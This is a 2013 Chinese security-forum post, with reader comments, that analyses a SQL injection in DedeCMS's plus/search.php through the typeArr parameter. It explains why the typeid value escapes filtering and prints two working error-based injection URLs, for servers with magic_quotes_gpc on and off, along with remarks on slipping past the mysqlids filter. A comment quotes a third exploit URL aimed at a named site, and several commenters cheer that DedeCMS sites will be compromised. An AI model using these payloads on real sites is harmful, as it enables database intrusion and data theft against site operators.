dedecms最新注入分析(可过gpc)

2013-01-18 16:13:40 25 4505


Author:唐门三少
谢绝转载!



0x01简述
      前天在微博上看到知道创宇检测到了新的dedecms注入,原文如下:
#0day预警#近日,@知道创宇 监控到多个dedecms注射0day漏洞,经过分析发现,其中有严重且非常容易利用的sql注射0day。我们已积极联系官方并升级KS-WAF、加速乐等产品,请站长密切关注官方信息及网站安全。临时防御方法:1、关闭会员中心并在php.ini里设置magic_quotes_gpc=On 2、删除plus/search.php。

      今天在0x50sec上看到了相关的分析文章,大体感觉都没什么问题,但是测试他给出的PoC时,总是失败,感觉有点问题。然后稍微仔细看了下他PoC的内容,居然用@`'`=0这种方式来绕mysqlids!作者肯定没有仔细研究过mysqlids和mysql的用户变量。所以,感觉他的文章不靠谱,自己和几个朋友就研究了下这个漏洞。
       0x50sec上的那篇文章,在漏洞原因上的分析大体是对的,但是在细节,和PoC上都有些问题,所以,就有了这篇文章。
0x02漏洞分析
       漏洞的原因是typeid未做任何的检测,而且当传入参数$typeArr为数值时,会将$typeArr的key值传为$typeid,从而躲过前面执行转义的代码。下面我们直接来看search.php代码
<?php
/**
*
* 搜索页
*
* @version        $Id: search.php 1 15:38 2010年7月8日Z tianya $
* [url=https://www.t00ls.cc/space-uid-6000.html]@package[/url]        DedeCMS.Site
* @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
* @license        [url]http://help.dedecms.com/usersguide/license.html[/url]
* @link           [url]http://www.dedecms.com[/url]
*/
require_once(dirname(__FILE__)."/../include/common.inc.php");
require_once(DEDEINC."/arc.searchview.class.php");

$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;

if(!isset($orderby)) $orderby='';
else $orderby = preg_replace("#[^a-z]#i", '', $orderby);

if(!isset($searchtype)) $searchtype = 'titlekeyword';
else $searchtype = preg_replace("#[^a-z]#i", '', $searchtype);

if(!isset($keyword)){
    if(!isset($q)) $q = '';
    $keyword=$q;
}

$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));


//查找栏目信息
if(empty($typeid))
{
    $typenameCacheFile = DEDEDATA.'/cache/typename.inc';
    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
    {
        $fp = fopen(DEDEDATA.'/cache/typename.inc', 'w');
        fwrite($fp, "<"."?php\r\n");
        $dsql->SetQuery("Select id,typename,channeltype From `#@__arctype`");
        $dsql->Execute();
        while($row = $dsql->GetArray())
        {
            fwrite($fp, "\$typeArr[{$row['id']}] = '{$row['typename']}';\r\n");
        }
        fwrite($fp, '?'.'>');
        fclose($fp);
    }
    //引入栏目缓存并看关键字是否有相关栏目内容
    require_once($typenameCacheFile);
    if(isset($typeArr) && is_array($typeArr))
    {
        foreach($typeArr as $id=>$typename)
        {
            $keywordn = str_replace($typename, ' ', $keyword);
            if($keyword != $keywordn)
            {
                $keyword = $keywordn;
                $typeid = $id;
                break;
            }
        }
    }
}

$keyword = addslashes(cn_substr($keyword,30));

if($cfg_notallowstr !='' && preg_match("#".$cfg_notallowstr."#i", $keyword))
{
    ShowMsg("你的搜索关键字中存在非法内容,被系统禁止!","-1");
    exit();
}

if(($keyword=='' || strlen($keyword)<2) && empty($typeid))
{
    ShowMsg('关键字不能小于2个字节!','-1');
    exit();
}

//检查搜索间隔时间
$lockfile = DEDEDATA.'/time.lock.inc';
$lasttime = file_get_contents($lockfile);
if(!empty($lasttime) && ($lasttime + $cfg_search_time) > time())
{
    ShowMsg('管理员设定搜索时间间隔为'.$cfg_search_time.'秒,请稍后再试!','-1');
    exit();
}

//开始时间
if(empty($starttime)) $starttime = -1;
else
{
    $starttime = (is_numeric($starttime) ? $starttime : -1);
    if($starttime>0)
    {
       $dayst = GetMkTime("2008-1-2 0:0:0") - GetMkTime("2008-1-1 0:0:0");
       $starttime = time() - ($starttime * $dayst);
  }
}

$t1 = ExecTime();

[color=Red]$sp = new SearchView($typeid,$keyword,$orderby,$channeltype,$searchtype,$starttime,$pagesize,$kwtype,$mid);[/color]
我们可以看红色的代码,之前并没有对$typeid做任何的检查和过滤。而红色代码便是进入SQL执行环节了。我们来看下这个环节的代码,首先是/include/arc.searchview.class.php文件
[color=Red]        $this->TypeLink = new TypeLink($typeid);[/color]
        // 通过分词获取关键词
[color=Red]        $this->Keywords = $this->GetKeywords($keyword);[/color]

        //设置一些全局参数的值
        if($this->TypeID=="0"){
            $this->ChannelTypeid=1;
        }else{
[color=Red]            $row =$this->dsql->GetOne("SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}");[/color]
            $this->ChannelTypeid=$row['channeltype'];
        }
上面的红色字体是执行SQL语句的关键部分,我们只需要关注第一个和第三个,因为$typeid只在这两部分起到作用。我们下面在看下TypeLink的代码,在/include/typelink.class.php文件中
function __construct($typeid)
    {
        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
        $this->indexName = $GLOBALS['cfg_indexname'];
        $this->baseDir = $GLOBALS['cfg_basedir'];
        $this->modDir = $GLOBALS['cfg_templets_dir'];
        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
        $this->dsql = $GLOBALS['dsql'];
        $this->TypeID = $typeid;
        $this->valuePosition = '';
        $this->valuePositionName = '';
        $this->typeDir = '';
        $this->OptionArrayList = '';
        //载入类目信息
[color=Red]        $query = "SELECT tp.*,ch.typename as ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join `#@__channeltype` ch
        on ch.id=tp.channeltype  WHERE tp.id='$typeid' ";[/color]
        if($typeid > 0)
从红色的标注中可以看到,在这次执行过程中$typeid是被单引号包裹的。也就是说如果在目标关闭gpc的情况下,我们可以利用这条语句进行攻击。但是gpc开启的情况下呢?如果你仔细看之前的arc.searchview.class.php文件的代码话,就会发现一个很有好的利用点,我们再把这部分代码贴一下
if($this->TypeID=="0"){
            $this->ChannelTypeid=1;
        }else{
            $row =$this->dsql->GetOne("SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}");
            $this->ChannelTypeid=$row['channeltype'];
        }
可以看出,如果typeid不等于零,那么它执行的SQL语句没有使用单引号包裹typeid。也就是说如果关闭gpc,我们利用typelink的SQL语句,如果开启的话,我们就利用searchview的SQL语句进行。当然利用的过程中要涉及到过80sec的mysqlids的检测,这就不在我们这篇文章讨论的范围了,大家可以去网上搜一下,记得90sec上有一个人写过专门的分析文章。
PoC利用
      在开启gpc的情况下
http://target/plus/search.php?typeArr[1%20or%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20@`'`]=11&&kwtype=0&q=1111&searchtype=title

       在未开启gpc的情况下,虽然利用成功,但是在后面searchview的SQL语句检测中,会被mysqlids检测到,留下日志。
http://target/plus/search.php?typeArr[2'%20and%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20']=c4&kwtype=0&q=c4rp3nt3r&searchtype=title

关于作者

评论25次

要评论?请先  登录  或  注册
  • 25楼
    2013-3-4 17:28

    好像很多还要修改语句,自己构造我等不懂代码的人怎么办- -.

  • 24楼
    2013-3-4 10:40

    多谢提醒,已经发邮件解释误会了。你是在哪里看到的这个内容的?我没有在他的博客找到

  • 23楼
    2013-3-3 20:08

    @唐门三少转载一下作者怎么说的.=====================================听说T00LS有人说俺补不靠谱,觉的我写的文章不靠谱没问题撒,可以在我博客上说我不靠谱嘛.跑到一个俺没帐号的地方说俺不靠谱,着实让俺脸红了一下.本来就是一篇分析文章,既然我分析的0x50sec.org 给的exp没有错误. @`'`=0这种方式来绕mysqlids!作者肯定没有仔细研究过mysqlids和mysql的用户变量。所以,感觉他的文章不靠谱,确实没 仔细研究过那个 mysqlids和mysql的用户变量. 但是自己都做过实验的.错误之处是 "即使" 和"也" 这三个字. 下面这个exp只能在 magic_quotes_gpc = On下利用成功.因为 magic_quotes_gpc = On 的时候 @`'` 会变成 @`\'`,那个 唐门三少 测试环境是什么样的?是表达的不严谨而已.============================================利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.本帖隐藏的内容http://www.hackme.info/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title如果自己有判断力的话,就可以一下指出为什么poc没利用成功.

  • 22楼
    2013-3-1 08:53

    太牛了,争了几个星期的漏洞,被解密了。

  • 21楼
    2013-2-14 13:43

    膜拜各种大牛各种分析。

  • 20楼
  • 19楼
    2013-2-4 22:49

    来学xi的 感谢分享

  • 18楼
    2013-1-29 13:32

    这个可以有啊,分析透彻。

  • 17楼
    2013-1-29 09:12

    这个牛啊..分析的很详细,谢谢

  • 16楼
    2013-1-28 10:23

    DEDE 后台基本都该。0 0不过还是膜拜下。

  • 15楼
    2013-1-28 09:32

    呵呵,太好了,DEDE又要沦陷了!

  • 14楼
    2013-1-25 15:31
  • 13楼
    2013-1-25 10:08

    哦 原来是这样

  • 12楼
    2013-1-24 11:42

    赞,原理分析的很到位

  • 11楼
    2013-1-23 14:09

    神一般的人物。。。。。。

  • 10楼
  • 9楼
    2013-1-23 10:36

    太牛了,争了几个星期的漏洞,被解密了。

  • 8楼
    2013-1-22 14:44

    嗯喜欢各种分析

  • 7楼
    2013-1-19 22:40

    这个真的可以有!

  • 6楼
    2013-1-19 21:00

    这个可以有呀, mark 下来回头 有用得着